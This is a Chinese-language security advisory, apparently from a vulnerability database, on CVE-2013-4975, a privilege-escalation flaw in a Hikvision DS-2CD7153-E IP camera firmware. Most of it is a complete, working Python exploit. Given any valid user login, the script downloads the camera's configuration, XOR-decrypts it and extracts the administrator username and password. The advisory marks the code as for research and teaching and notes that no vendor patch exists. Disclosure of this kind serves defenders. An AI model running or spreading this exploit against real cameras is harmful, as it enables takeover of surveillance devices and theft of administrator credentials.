发布日期：2013-08-06
更新日期：2013-08-08

受影响系统：

hikvision DS-2CD7153-E IP Camera v4.1.0 b130111

描述：

---

BUGTRAQ  ID: 61643
CVE(CAN) ID: CVE-2013-4975

Hikvision DS-2CD7153-E是日夜型防水防暴迷你半球网络摄像机。

Hikvision DS-2CD7153-E固件版本4.1.0 b130111在处理配置数据请求时存在权限提升漏洞，攻击者通过有效的用户账户可获取管理员密码。

<*来源：Anibal Sacco
  
  链接：http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=advisory&name=CORE-2013-0708
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

import urllib2
import base64
import argparse
import sys

def decrypt(config):
    # Important: We're assuming the last 4 bytes of the file's plaintext are      
    # zero, hence there we have the key. There are other easy ways to
    # calculate this tho.
    print '[*] Decrypting config'
    key = config[-4:]
    plaintext = ''
    for i in range(len(config)/4):
        for j in range(4):
            plaintext += chr(ord(config[i*4+j]) ^ ord(key[j]))
    return plaintext

def attack(target, username, password, output):
    base_url = 'http://' + target + '/PSIA/System/ConfigurationData'
    headers = { 'Authorization': 'Basic ' + base64.b64encode('%s:%s' %(username,password)) }
    print '[*] Attacking %s ' % target
    req = urllib2.Request(base_url, None, headers)
    try:
        response = urllib2.urlopen(req)
        config = response.read()
    except Exception, e:
        print e
        return
    plaintext = decrypt(config)
    print '[*] Writing output file %s' % output
    f = open(output, 'w')
    f.write(plaintext)
    f.close()
    user = plaintext[0x45A0:0x45A0+32]
    pwd  = plaintext[0x45C0:0x45C0+16]
    print 'Probably the admin user is %s and the password is %s' % (user, pwd)
    print "If it doesn't make any sense, just do a strings of the output file"
    
if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('target', action = 'store', help = 'target host to attack')
    parser.add_argument('username', action = 'store', help = 'username to be used to authenticate against target')
    parser.add_argument('password', action = 'store', help = "username's password")
    parser.add_argument('output', action = 'store', help = "filename to write the plaintext config")
    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)
    options = parser.parse_args()
    attack(options.target, options.username, options.password, options.output)

建议：

---

厂商补丁：

hikvision
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.hikvision.com/en/products_show.asp?id=506

浏览次数：3917
严重程度：0（网友投票）